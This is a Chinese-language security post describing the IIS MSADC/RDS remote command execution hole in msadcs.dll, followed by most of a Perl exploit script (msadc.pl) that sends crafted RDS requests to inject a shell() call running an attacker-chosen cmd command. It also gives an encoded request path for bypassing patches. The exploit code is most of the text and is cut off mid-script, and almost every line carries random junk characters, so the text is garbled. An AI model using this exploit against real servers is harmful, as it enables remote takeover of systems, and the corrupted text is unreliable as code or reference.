IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
4}xw&x ='G-wX&k 涉及程序:
3LW_qX Microsoft NT server
0aM&+j\q} ^Iy'G44 描述:
6 @A'N(I=O 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Mv?$zV"`# ic;M=dsh: 详细:
7U647G(Sg 如果你没有时间读详细内容的话,就删除:
[L ?^+p> c:\Program Files\Common Files\System\Msadc\msadcs.dll
}5]2tH${ 有关的安全问题就没有了。
X 7R&>Pf N(Sc!rX 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
SE<?l 1tIJ'#6 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
pt$\pQ 关于利用ODBC远程漏洞的描述,请参看:
Ek6z[G`
O i@m@]-2 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm N3(.7mxo Aw$+Ew[8 2 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
W"n0x8~sV http://www.microsoft.com/security/bulletins/MS99-025faq.asp LE}V{%)xD Lm3~< vP1e 这里不再论述。
?Gqq]ozm Rn$[P.|| 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
8AQ__&nT ?>s[B7wMp /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
c> 0R_ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
%zz,qs)Eu 4G2iT+X- K1$
#将下面这段保存为txt文件,然后: "perl -x 文件名"
p|+TgOYOc 2h:{6Gq8 #!perl
=&I9d;7 #
f]48-X,^6 # MSADC/RDS 'usage' (aka exploit) script
U8zCV*ag #
Ge7Uety # by rain.forest.puppy
74r$)\q #
3O*^[$vM # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
H1.ktG # beta test and find errors!
7epil fE"-W{M use Socket; use Getopt::Std;
s}F.D^^G getopts("e:vd:h:XR", \%args);
R} X"di OcLahz6 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Du #>y! uJ`:@Z^J if (!defined $args{h} && !defined $args{R}) {
" GY3sam print qq~
2m^qXE$ Usage: msadc.pl -h <host> { -d <delay> -X -v }
U"RA*| -h <host> = host you want to scan (ip or domain)
:nOI|\rC -d <seconds> = delay between calls, default 1 second
:%_h'9Qq -X = dump Index Server path table, if available
UD=[::## -v = verbose
I?RUVs -e = external dictionary file for step 5
vmg[/# U(gYx@ Or a -R will resume a command session
Eh^gR`I _(-i46x} ~; exit;}
.k$Yleg zs6rd83# $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
x_ t$* if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
MOPHu
O{^ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
*j(UAVp if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%(|-+cLW+ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
;d<O/y,:4 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
-<L5; G5%k.IRz if (!defined $args{R}){ $ret = &has_msadc;
_0BQnzC= die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
2}XxRJ0
c/^l2CJ0 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
\H&;.??W . "cmd /c ";
fR?'HsQg $in=<STDIN>; chomp $in;
%}JSR y $command="cmd /c " . $in ;
1BgHkDW 3?D{iMRM if (defined $args{R}) {&load; exit;}
m&yHtnt F"cZ$TL] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
3xN_z?Rg &try_btcustmr;
gF`hlYD Xvk+1:D print "\nStep 2: Trying to make our own DSN...";
$&!|G-0' &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
<*+[E!oi UoaWI2 print "\nStep 3: Trying known DSNs...";
-g:i'e &known_dsn;
Vw3=jIQN:! .K1wp G[4 print "\nStep 4: Trying known .mdbs...";
FY-eoq0O3 &known_mdb;
yY{ Nv|0Z'M if (defined $args{e}){
f|ERZN`uB print "\nStep 5: Trying dictionary of DSN names...";
\GV'{W+o2 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
;O|u`fAqT u@P1`E1Q print "Sorry Charley...maybe next time?\n";
OsW*@v( exit;
8
&v)Vi- &O#1*y
Z ##############################################################################
RP^vx`9h ~T/tk?:8Vi sub sendraw { # ripped and modded from whisker
f$5\ b[O sleep($delay); # it's a DoS on the server! At least on mine...
_8ks`O#} my ($pstr)=@_;
nN^lY=3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
scTt53v^ die("Socket problems\n");
%%#bTyF if(connect(S,pack "SnA4x8",2,80,$target)){
pFV~1W: select(S); $|=1;
R\Ckk;<$ print $pstr; my @in=<S>;
}#2(WHf=< select(STDOUT); close(S);
+=d= return @in;
I-=Ieq"R9 } else { die("Can't connect...\n"); }}
|j{]6Nu J qmL|S) ##############################################################################
-r]L MQ a]Y9;( sub make_header { # make the HTTP request
\j-:5M#m my $msadc=<<EOT
;@:-T/= POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
FUZuS!sJ User-Agent: ACTIVEDATA
K`j:F>b Host: $ip
dPxJ`8 Content-Length: $clen
]vPdj"7 Connection: Keep-Alive
]g }5p4*& uHRxV"@}[1 ADCClientVersion:01.06
gIIF17|Z Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
/"8|26 V#+F*w?&D --!ADM!ROX!YOUR!WORLD!
+JM@ kdE5b Content-Type: application/x-varg
Ed{sC[j= Content-Length: $reqlen
3lEP:Jp a, )/D_{1 EOT
bE@Eiac ; $msadc=~s/\n/\r\n/g;
ie>mOsz return $msadc;}
;j[:tt\k =fdW H4 ##############################################################################
J\p-5[E l8 $.k5X sub make_req { # make the RDS request
TJ>1?W\Z my ($switch, $p1, $p2)=@_;
GXNkl?# my $req=""; my $t1, $t2, $query, $dsn;
!4<A|$mQ ts("(zI1E if ($switch==1){ # this is the btcustmr.mdb query
+(z[8BJl $query="Select * from Customers where City=" . make_shell();
,U+>Q!$`\^ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
J, +/<Y! $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
~O!E &~ -v|lM8 elsif ($switch==2){ # this is general make table query
k,; (`L $query="create table AZZ (B int, C varchar(10))";
*J
>6i2M,u $dsn="$p1";}
<OJqeUo+*\ $!_} d elsif ($switch==3){ # this is general exploit table query
yD`pUE$ $query="select * from AZZ where C=" . make_shell();
<^'IC9D] $dsn="$p1";}
}_mMQg2>= o>T+fBHE elsif ($switch==4){ # attempt to hork file info from index server
y\[* mgl: $query="select path from scope()";
fF=tT C $dsn="Provider=MSIDXS;";}
]{#Xcqx ?YDMl elsif ($switch==5){ # bad query
=W2I0nr. $query="select";
O*x~a;?G $dsn="$p1";}
KoWG:~>| #`l&HV $t1= make_unicode($query);
I3i zLi $t2= make_unicode($dsn);
+"JWsD(C( $req = "\x02\x00\x03\x00";
:f7vGO"t $req.= "\x08\x00" . pack ("S1", length($t1));
'<*%<J{( $req.= "\x00\x00" . $t1 ;
_JA)""l% $req.= "\x08\x00" . pack ("S1", length($t2));
~"4Cz27 $req.= "\x00\x00" . $t2 ;
%M`zkA2]J $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Asq&Z$bB_ return $req;}
-/*VR$c $2blF)uYE ##############################################################################
ZP&iy$<L =NnG[#n% sub make_shell { # this makes the shell() statement
sJl>evw return "'|shell(\"$command\")|'";}
Z:V<